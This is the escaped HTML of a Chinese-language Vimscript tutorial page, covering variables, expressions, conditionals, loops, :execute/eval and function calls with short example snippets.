&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgfd3aea0&quot;&gt;字符串操作:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org5a92a1b&quot;&gt;列表处理:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org376be2b&quot;&gt;字典处理:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgefa4bdc&quot;&gt;浮点数计算:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgd84e566&quot;&gt;其它计算:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org25c9412&quot;&gt;变量:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgcd29e7b&quot;&gt;光标和位置标记位置:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orga662f9f&quot;&gt;操作当前缓冲区的文本:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgeb58a69&quot;&gt;系统调用及文件操作:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgbe9cf53&quot;&gt;日期和时间:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgfb0465f&quot;&gt;缓冲区，窗口及参数列表:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org3e787ed&quot;&gt;命令行:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org185e659&quot;&gt;quickfix和位置列表:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org3281adc&quot;&gt;插入模式补全:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org4512cef&quot;&gt;折叠:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org76819e6&quot;&gt;语法和高亮:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgbc7cf53&quot;&gt;拼写:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org179c6bf&quot;&gt;历史记录:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orge5ea200&quot;&gt;交互:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org791062d&quot;&gt;GUI:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org9bd399d&quot;&gt;Vim 服务器:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org4c36279&quot;&gt;窗口大小和位置:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org803cf7c&quot;&gt;映射:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org3141c44&quot;&gt;杂项:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgc6a6fed&quot;&gt;7 定义一个函数&lt;&#x2F;a&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org16f64ce&quot;&gt;可 变 参 数&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org9fa8ecc&quot;&gt;函 数 清 单&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org871d87c&quot;&gt;调 试&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org0017a29&quot;&gt;函 数 引 用&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org331687f&quot;&gt;8 列表和字典&lt;&#x2F;a&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgae28100&quot;&gt;FOR 循 环&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org078c3c1&quot;&gt;字 典&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org7c3b2e6&quot;&gt;字 典 函 数&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org6997d61&quot;&gt;面 向 对 象 编 程&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org0622e1e&quot;&gt;9 例外&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org0321e10&quot;&gt;10 其它的讨论&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org9b2d697&quot;&gt;注 释&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org27b81ce&quot;&gt;陷 阱&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orge943ab0&quot;&gt;恢 复 一 个 视 窗 位 置&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org0d38e4c&quot;&gt;封 装&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgadc125a&quot;&gt;11 编写插件&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orge39156b&quot;&gt;用约定方式编写的脚本能够被除作者外的很多人使用。这样的脚本叫做插件。Vim 用户只要把你写的脚本放在 plugin 目录下就可以立即使用了: |add-plugin|。&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org3887402&quot;&gt;禁 止 加 载&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org7931d54&quot;&gt;映 射&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orga2b8807&quot;&gt;分 割&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org2222051&quot;&gt;映射则可用&lt;&#x2F;a&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org2222051&quot;&gt;&lt;SID&gt;。它产生一个脚本ID。在我们的错误更正插件中我们可以做以下的定义:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org301d1db&quot;&gt;用 户 命 令&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org823546a&quot;&gt;脚 本 变 量&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgc7c45d3&quot;&gt;结 果&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgb170c81&quot;&gt;文 件 类 型 检 测&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgfb86a74&quot;&gt;小 结&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org3aa9c3b&quot;&gt;12 编写文件类型插件&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org3761641&quot;&gt;禁 用&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org8d64355&quot;&gt;选 项&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org128f22d&quot;&gt;用 户 命 令&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgc6a12f0&quot;&gt;变 量&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org8efae85&quot;&gt;函 数&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgf3ec3d8&quot;&gt;撤 消&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org81d951a&quot;&gt;文 件 名&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org9f3d3a9&quot;&gt;小 结&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org3f71c0c&quot;&gt;14 编写快速载入的插件&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org5cf5099&quot;&gt;15 编写库脚本&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgd69ed76&quot;&gt;16 发布 Vim 脚本&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;a id=&quot;orgdb84608&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;mu-lu&quot;&gt;目录&lt;&#x2F;h1&gt;
&lt;p&gt;1 简介
2 变量
3 表达式
4 条件语句
5 执行一个表达式
6 使用函数
7 定义一个函数
8 列表和字典
9 例外
10 其它的讨论
11 编写插件
12 编写文件类型插件
13 编写编译器插件
14 编写快速载入的插件
15 编写库脚本
16 发布 Vim 脚本&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org3032be3&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;1-jian-jie&quot;&gt;1 简介&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a id=&quot;orgd862b88&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-ge-jian-dan-de-li-zi&quot;&gt;一个简单的例子：&lt;&#x2F;h2&gt;
&lt;p&gt;:let i = 1
:while i &amp;lt; 5&lt;&#x2F;p&gt;
&lt;p&gt;echo &quot;count is&quot; i
let i+=1&lt;&#x2F;p&gt;
&lt;p&gt;:endwhile
注：:字符并非必须，在vim脚本中可以去掉；可以拷贝示例文本，然后用:@&quot;执行
输出结果：&lt;&#x2F;p&gt;
&lt;p&gt;count is 1
count is 2
count is 3
count is 4
更简洁的表达：&lt;&#x2F;p&gt;
&lt;p&gt;for i in range(1,4)
echo &quot;count is&quot; i
endfor&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org87c28db&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;2-bian-liang&quot;&gt;2 变量&lt;&#x2F;h1&gt;
&lt;p&gt;赋值：&lt;&#x2F;p&gt;
&lt;p&gt;:let {变量} = {表达式}
一般定义的变量都是全局的，可以用:let列出当前定义的所有变量。
为了防止不同脚本之间公用全局变量导致混乱，可以在变量名后面加上s:使其变为脚本文件的局部变量。例如：一个脚本包含如下代码：&lt;&#x2F;p&gt;
&lt;p&gt;:let s:count = 1
:while s:count &amp;lt; 5&lt;&#x2F;p&gt;
&lt;p&gt;source other.vim
let s:count += 1&lt;&#x2F;p&gt;
&lt;p&gt;:endwhile
由于s:count是局部变量，可以确信调用(source) &quot;other.vim&quot;时不会改变它的值。
还有很多其他类型的变量，参阅internal-variables，最常见的有：&lt;&#x2F;p&gt;
&lt;p&gt;name	description
b:name	缓冲区的局部变量
w:name	窗口的局部变量
g:name	全局变量（也用于函数中）
v:name	Vim预定义的变量
删除变量：&lt;&#x2F;p&gt;
&lt;p&gt;:unlet {变量}
如:unlet s:count，这将删除count局部变量并释放其占用的内存。如果不确定这个变量是否存在，又不希望看到系统在它不存在时报错，可以在命令后面加!，即:unlet! s:count。&lt;&#x2F;p&gt;
&lt;p&gt;字符串变量和常量：&lt;&#x2F;p&gt;
&lt;p&gt;除了数值之外，字符串也能作为变量的值。变量的类型是动态的。每当我们通过 :let 语句为变量赋值时，变量的类型才被确定。
字符串常量有两种。第一种是由双引号括起来的：&lt;&#x2F;p&gt;
&lt;p&gt;:let name = &quot;peter&quot;
:echo name
peter
如果你想在这样的字符串内使用双引号，在之前加上反斜杠即可:&lt;&#x2F;p&gt;
&lt;p&gt;:let name = &quot;\&quot;peter\&quot;&quot;
:echo name
&quot;peter&quot;
如果你不想使用反斜杠，也可以用单引号括起字符串:&lt;&#x2F;p&gt;
&lt;p&gt;:let name = &#x27;&quot;peter&quot;&#x27;
:echo name
&quot;peter&quot;
所有的字符在单引号内都保持其本来面目（因此反斜杠也不能实现转义）。只有单引号本身例外: 输入两个你会得到一个单引号。
在双引号括起来的字符串中可以使用特殊字符。这里有一些有用的例子:&lt;&#x2F;p&gt;
&lt;p&gt;script	meaning
\t &lt;Tab&gt;
\n &lt;NL&gt;，换行
\r &lt;CR&gt;，&lt;Enter&gt;
\e &lt;Esc&gt;
\b &lt;BS&gt;，退格
\&quot;	&quot;&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;table border=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;6&quot; rules=&quot;groups&quot; frame=&quot;hsides&quot;&gt;
&lt;&#x2F;div&gt;
&lt;div&gt;
&lt;colgroup&gt;
&lt;col  class=&quot;org-left&quot; &#x2F;&gt;
&lt;&#x2F;colgroup&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;org-left&quot;&gt;\，反斜杠&lt;&#x2F;td&gt;
&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;
&lt;&#x2F;table&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;\&lt;Esc&gt;|&lt;Esc&gt;
\&lt;C-W&gt;|CTRL-W&lt;&#x2F;p&gt;
&lt;p&gt;最后两个只是用来举例子的。\&lt;name&gt; 的形式可以被用来表示特殊的键 name。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org886e581&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;3-biao-da-shi&quot;&gt;3 表达式&lt;&#x2F;h1&gt;
&lt;p&gt;已经提到的数值，字符串常量和变量都属于表达式，其他基本的表达式有：&lt;&#x2F;p&gt;
&lt;p&gt;expr	meaning
$NMAE	环境变量
&amp;amp;name	选项
@r	寄存器
算术运算&lt;&#x2F;p&gt;
&lt;p&gt;operation	meaning
a+b	加
a-b	减
a*b	乘
a&#x2F;b	除
a%b	余
用 “.” 可以把两个字符串连接起来。例如:&lt;&#x2F;p&gt;
&lt;p&gt;:echo &quot;foo&quot;.&quot;bar&quot;
foobar
一般的，当 :echo 命令遇到多个参数时，会在它们之间加入空格。但上例中参数是一个表达式，所以不会有空格。
下面的条件表达式很显然是从 C 语言里借来的:&lt;&#x2F;p&gt;
&lt;p&gt;a?b:c
如果 a 为真用 b，否则用 c。例如:&lt;&#x2F;p&gt;
&lt;p&gt;:let i = 4
:echo i&amp;gt;5 ? &quot;i is big&quot;:&quot;i is small&quot;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org1d23fd4&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;4-tiao-jian-yu-ju&quot;&gt;4 条件语句&lt;&#x2F;h1&gt;
&lt;p&gt;:if 命令在条件满足的前提下，执行其后直到 :endif 的所有语句。常用的形式为:&lt;&#x2F;p&gt;
&lt;p&gt;:if {conditon}
{statements}
:endif
语句 {statements} 仅当表达式 {condition} 为真 (非零) 时才被执行。这些语句还必
须是有效的。否则 Vim 无法找到相应的 :endif。
也可以使用 :else。常用形式为:&lt;&#x2F;p&gt;
&lt;p&gt;:if {condition}
{statements}
:else
{statements}
:endif
还有 :elseif:&lt;&#x2F;p&gt;
&lt;p&gt;:if {condition}
{statements}
:elseif {condition}
{statements}
:endif
这种形式就像 :else 接着 if 一样，但是少出现一个 :endif。&lt;&#x2F;p&gt;
&lt;p&gt;逻辑运算&lt;&#x2F;p&gt;
&lt;p&gt;operation	meaning
a &lt;code&gt;= b	等于 a !&lt;&#x2F;code&gt; b	不等于
a &amp;gt; b	大于
a &amp;gt;= b	大于等于
a &amp;lt; b	小于
a &amp;lt;= b	小于等于
如果条件满足，结果为 1，否则为 0。例如:&lt;&#x2F;p&gt;
&lt;p&gt;:if v:version &amp;gt;=700&lt;&#x2F;p&gt;
&lt;p&gt;echo &quot;congratulations&quot;&lt;&#x2F;p&gt;
&lt;p&gt;:else&lt;&#x2F;p&gt;
&lt;p&gt;echo &quot;your version is old,please update it&quot;&lt;&#x2F;p&gt;
&lt;p&gt;:endif
这里 v:version 是 Vim 定义的变量，用来存放 Vim 的版本号。600 意为 6.0 版。6.1 版的值为 601。这对编写可以在不同版本的 Vim 上运行的脚本很有用。
对数值和字符串都可以做逻辑操作。两个字符串的算术差被用来比较它们的值。这个结果是通过字节值来计算的，对于某些语言，这样做的结果未必正确。
在比较一个字符串和一个数值时，该字符串将先被转换成一个数值。这容易出错，因为当一个字符串看起来不像数值时，它会被当作 0 对待。例如:&lt;&#x2F;p&gt;
&lt;p&gt;:if 0 == &quot;one&quot;&lt;&#x2F;p&gt;
&lt;p&gt;echo &quot;yes&quot;&lt;&#x2F;p&gt;
&lt;p&gt;:endif
上面的例子将显示 yes，因为 one 看起来不像一个数值，所以被转换为 0 了。
对于字符串来说还有两种操作：&lt;&#x2F;p&gt;
&lt;p&gt;operation	meaning
a =~ b	匹配
a !~ b	不匹配
左边的 a 被当作一个字符串。右边的 b 被当作一个匹配模式，正如做查找操作一样。例如:&lt;&#x2F;p&gt;
&lt;p&gt;if str =~ &quot; &quot;
echo &quot;exist space&quot;
endif
if str !~ &#x27;\.$&#x27;
echo &quot;not end up with dot&quot;
endif
注意 在匹配模式中用单引号是很有用的。因为匹配模式中通常有很多反斜杠，而反斜杠在双引号字符串中必须双写才有效。
在做字符串比较时用到 ignorecase 选项。如果你不希望使用该选项，可以在比较时加上 ## 或 ?。# 表示大小写敏感；? 表示忽略大小写。因此 &lt;code&gt;=? 比较两字符串是否相等，不计大小写。!~# 检查一个模式是否被匹配，同时也考虑大小写。expr-=&lt;&#x2F;code&gt; 有一个完整的字符串比较&#x2F;匹配操作列表。&lt;&#x2F;p&gt;
&lt;p&gt;循环详述&lt;&#x2F;p&gt;
&lt;p&gt;:while 命令已经在前面提到了。还有另外两条语句可以在 :while 和 :endwhile之间使用。&lt;&#x2F;p&gt;
&lt;p&gt;command	function
:continue	跳回while循环的开始;继续循环
break	跳至:endwhile;循环结束
例：&lt;&#x2F;p&gt;
&lt;p&gt;:while counter &amp;lt; 40&lt;&#x2F;p&gt;
&lt;p&gt;call do_something()
if skip_flag
contunue
endif
if finished_flag
break
endif
sleep 50m&lt;&#x2F;p&gt;
&lt;p&gt;:endwhile
:sleep 命令使 Vim 小憩一下。50m 表示休息 50 毫秒。再举一个例子，:sleep 4休息 4 秒。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org62074db&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;5-zhi-xing-yi-ge-biao-da-shi&quot;&gt;5 执行一个表达式&lt;&#x2F;h1&gt;
&lt;p&gt;用 :execute 命令可以执行一个表达式的结果。这是一个创建并执行命令的非常有效的方法。
例如要跳转到一个由变量表示的标签：&lt;&#x2F;p&gt;
&lt;p&gt;:execute &quot;tag&quot; . tag&lt;sub&gt;name&lt;&#x2F;sub&gt;
.被用来链接字符串&quot;tag&quot;和变量tag&lt;sub&gt;name的值&lt;&#x2F;sub&gt;。
:execute命令只能用来执行冒号命令。:normal命令可以用来执行普通模式命令。然而，它的参数只能是按表面意义解释的命令字符，不能是表达式。例如：&lt;&#x2F;p&gt;
&lt;p&gt;:normal gg=G
这个命令将跳转到第一行并以=操作符排版所有行。
为了使:normal命令也可以带表达式，可以把:execute与其连起来使用，例如：&lt;&#x2F;p&gt;
&lt;p&gt;:execute &quot;normal&quot; . normal&lt;sub&gt;commands&lt;&#x2F;sub&gt;
变量normal&lt;sub&gt;commands必须包含要执行的普通模式命令&lt;&#x2F;sub&gt;。
必须确保 :normal 的参数是一个完整的命令。否则，Vim 碰到参数的结尾就会中止其运行。例如，如果你开始了插入模式，你必须也退出插入模式。这样没问题:&lt;&#x2F;p&gt;
&lt;p&gt;:execute &quot;normal Inew test\&lt;Esc&gt;&quot;
这将在当前行插入 new text。注意 这里使用了特殊键 \&lt;Esc&gt;。这样就避免了在你的脚本当中键入真正的&lt;Esc&gt; 字符。
如果你不想执行字符串，而想执行它作为表达式计算的结果，可以用eval()函数:&lt;&#x2F;p&gt;
&lt;p&gt;:let optname = &quot;path&quot;
:let optval = eval(&#x27;&amp;amp;&#x27;.optname)
&amp;amp; 被加到 path 前面，这样传给eval()的参数成为 &amp;amp;path。这时得到的返回值就是 ‘path’ 选项的值。
相同的操作可以这样完成：&lt;&#x2F;p&gt;
&lt;p&gt;:exe &#x27;let optval = &amp;amp;&#x27;.optname&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orge21cc11&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;6-shi-yong-han-shu&quot;&gt;6 使用函数&lt;&#x2F;h1&gt;
&lt;p&gt;Vim 定义了大量的函数并通过这些函数提供了丰富的功能。可参考|functions|找到一个完整的列表。
一个函数可以被:call命令调用。参数列表要用括号括起来，并用逗号分割。例如：&lt;&#x2F;p&gt;
&lt;p&gt;:call search(&quot;Date:&quot;,&quot;W&quot;)
这将以Date:和W作为参数调用search()函数。search()函数的第一个参数时一个查找模式，第二个是一个标志。标志W表示查找操作遇到文件尾时不折返。
在一个表达式内也可以调用函数，例如：&lt;&#x2F;p&gt;
&lt;p&gt;:let line = getline(&quot;.&quot;)
:let repl = substitute(line,&#x27;\a&#x27;,&quot;*&quot;,&quot;g&quot;)
